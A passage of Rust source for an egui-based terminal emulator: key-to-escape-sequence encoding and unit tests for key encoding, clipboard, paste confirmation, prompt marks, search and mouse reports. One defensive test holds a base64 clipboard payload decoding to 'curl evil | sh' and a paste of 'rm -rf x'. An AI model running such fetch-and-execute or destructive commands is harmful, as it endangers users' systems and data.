m.ctrl { b"\x08" } else { b"\x7f" }), Key::Tab if m.shift => b"\x1b[Z".to_vec(), Key::Tab => b"\t".to_vec(), Key::Escape => b"\x1b".to_vec(), Key::ArrowUp => csi('A'), Key::ArrowDown => csi('B'), Key::ArrowRight => csi('C'), Key::ArrowLeft => csi('D'), Key::Home => csi('H'), Key::End => csi('F'), Key::Insert => tilde(2), Key::Delete => tilde(3), Key::PageUp => tilde(5), Key::PageDown => tilde(6), Key::F1 => ss3('P'), Key::F2 => ss3('Q'), Key::F3 => ss3('R'), Key::F4 => ss3('S'), Key::F5 => tilde(15), Key::F6 => tilde(17), Key::F7 => tilde(18), Key::F8 => tilde(19), Key::F9 => tilde(20), Key::F10 => tilde(21), Key::F11 => tilde(23), Key::F12 => tilde(24), _ if m.ctrl && !mac_cmd_only(m) => { let b = match key { Key::Space | Key::Num2 => 0, Key::OpenBracket | Key::Num3 => 0x1b, Key::Backslash | Key::Num4 => 0x1c, Key::CloseBracket | Key::Num5 => 0x1d, Key::Num6 => 0x1e, Key::Slash | Key::Minus | Key::Num7 => 0x1f, Key::Num8 => 0x7f, k => { let name = k.name(); let c = name.chars().next().filter(|c| name.len() == 1 && c.is_ascii_alphabetic())?; (c.to_ascii_uppercase() as u8) & 0x1f } }; esc(&[b]) } _ if m.alt && !m.ctrl && !cfg!(target_os = "macos") => return None, // arrives as Text with ESC prefix _ => return None, }) } /// On macOS Cmd is the app's modifier while Ctrl still produces control codes. fn mac_cmd_only(m: Modifiers) -> bool { cfg!(target_os = "macos") && m.mac_cmd && !m.ctrl } #[cfg(test)] mod tests { use super::*; #[test] fn keys_encode_like_xterm() { let none = Modifiers::NONE; assert_eq!(key_bytes(Key::ArrowUp, none, TermMode::empty()).unwrap(), b"\x1b[A"); assert_eq!(key_bytes(Key::ArrowUp, none, TermMode::APP_CURSOR).unwrap(), b"\x1bOA"); assert_eq!(key_bytes(Key::ArrowLeft, Modifiers::CTRL, TermMode::empty()).unwrap(), b"\x1b[1;5D"); assert_eq!(key_bytes(Key::C, Modifiers::CTRL, TermMode::empty()).unwrap(), [3]); // egui reports Ctrl as ctrl + command on Linux/Windows; it must still send a control code. let ctrl_cmd = Modifiers { ctrl: true, command: true, ..Default::default() }; assert_eq!(key_bytes(Key::D, ctrl_cmd, TermMode::empty()).unwrap(), [4]); assert_eq!(key_bytes(Key::F5, none, TermMode::empty()).unwrap(), b"\x1b[15~"); assert_eq!(key_bytes(Key::Backspace, none, TermMode::empty()).unwrap(), [0x7f]); assert!(key_bytes(Key::A, none, TermMode::empty()).is_none()); } #[test] fn remote_clipboard_and_multiline_paste_go_to_the_app() { let mut t = TermView::new(1000, 14.0, CursorStyle::Block); t.feed(b"\x1b]52;c;Y3VybCBldmlsIHwgc2g=\x07"); let ctx = egui::Context::default(); let mut out = None; let mut full = ctx.run_ui(Default::default(), |ui| out = Some(t.ui(ui, crate::terminal_themes::get("charcoal"), true))); full.textures_delta.clear(); assert_eq!(out.unwrap().clipboard.as_deref(), Some("curl evil | sh")); assert!(!full.platform_output.commands.iter().any(|c| matches!(c, egui::OutputCommand::CopyText(_))), "the view must not touch the clipboard itself"); let mut out = TermResponse::default(); t.confirm_paste = true; t.paste("ls\nrm -rf x\n", &mut out); assert!(out.input.is_empty()); assert_eq!(out.confirm_paste.as_deref(), Some("ls\nrm -rf x\n")); let mut out = TermResponse::default(); t.paste("one line", &mut out); assert_eq!(out.input, b"one line"); t.feed(b"\x1b[?2004h"); let mut out = TermResponse::default(); t.paste("a\nb", &mut out); assert!(out.confirm_paste.is_none() && out.input.starts_with(b"\x1b[200~"), "bracketed paste needs no prompt"); } #[test] fn shell_integration_marks_survive_a_full_scrollback() { // Scrollback of 30 lines, so the history fills and rotates during the test. let mut t = TermView::new(30, 14.0, CursorStyle::Block); let prompt = |t: &mut TermView| t.feed(b"\x1b]133;A\x07$ \x1b]133;B\x07"); let run = |t: &mut TermView, cmd: &str, out: &[String], code: i32| { t.feed(format!("{cmd}\r\n\x1b]133;C\x07").as_bytes()); for l in out { t.feed(format!("{l}\r\n").as_bytes()); } t.feed(format!("\x1b]133;D;{code}\x07").as_bytes()); }; prompt(&mut t); run(&mut t, "seq 3", &["1".into(), "2".into(), "3".into()], 0); prompt(&mut t); assert_eq!(t.last_output().as_deref(), Some("1\n2\n3")); let many: Vec = (0..80).map(|i| format!("line {i}")).collect(); run(&mut t, "big", &many, 3); prompt(&mut t); run(&mut t, "tail", &["a".into(), "b".into()], 1); prompt(&mut t); assert_eq!(t.last_output().as_deref(), Some("a\nb"), "rotation must not shift the marks"); let last = t.prompts.iter().rev().nth(1).unwrap(); assert_eq!(last.exit, Some(1)); assert_eq!(t.line_text(t.line_of(last.prompt)).0.trim_end(), "$ tail"); // Jumping back lands an earlier prompt (still in the scrollback) at the top of the view. let more: Vec = (0..20).map(|i| format!("more {i}")).collect(); run(&mut t, "more", &more, 0); prompt(&mut t); assert!(t.jump_prompt(false)); let top = Line(-(t.term.grid().display_offset() as i32)); assert!(t.line_text(top).0.starts_with("$ "), "{:?}", t.line_text(top).0); // A cleared scrollback drops the marks with it. t.feed(b"\x1b[3J\x1b[2J"); t.feed(b"x\r\n"); assert!(t.prompts.len() <= 1); } #[test] fn feeds_text_and_finds_it() { let mut t = TermView::new(1000, 14.0, CursorStyle::Block); t.feed(b"hello \x1b[31mworld\x1b[0m\r\nsecond world\r\n"); assert!(t.buffer_text().starts_with("hello world\nsecond world")); t.find = Some(Find { query: "WORLD".into(), ..Default::default() }); t.refresh_find(); assert_eq!(t.find_counts().1, 2); t.find.as_mut().unwrap().case_sensitive = true; t.refresh_find(); assert_eq!(t.find_counts().1, 0); } #[test] fn replies_to_device_attributes() { let mut t = TermView::new(10, 14.0, CursorStyle::Block); t.feed(b"\x1b[6n"); let ev = t.events.0.lock(); assert!(ev.iter().any(|e| matches!(e, TermEvent::PtyWrite(s) if s == "\x1b[1;1R"))); } #[test] fn mouse_reports() { assert_eq!(mouse_report(0, 0, 0, true, TermMode::SGR_MOUSE), b"\x1b[<0;1;1M"); assert_eq!(mouse_report(0, 2, 3, true, TermMode::empty()), vec![0x1b, b'[', b'M', 32, 35, 36]); } } #[cfg(test)] mod perf { /// `cargo test --release -p nexus perf -- --ignored --nocapture` #[test] #[ignore] fn feed_throughput() { let mut t = super::TermView::new(10_000, 14.0, super::CursorStyle::Block); let line = b"drwxr-xr-x 22 root root 4096 Oct 1 00:01 \x1b[01;34msome-directory-name\x1b[0m and more text\r\n"; let chunk: Vec = line.iter().copied().cycle().take(64 * 1024).collect(); let total = 50 * 1024 * 1024; let start = std::time::Instant::now(); let mut n = 0; while n < total { t.feed(&chunk); n += chunk.len(); } let secs = start.elapsed().as_secs_f64(); eprintln!("fed {} MiB in {secs:.2}s = {:.0} MiB/s", total >> 20, (total >> 20) as f64 / secs); assert!(secs < 30.0, "too slow even allowing for a loaded machine"); } }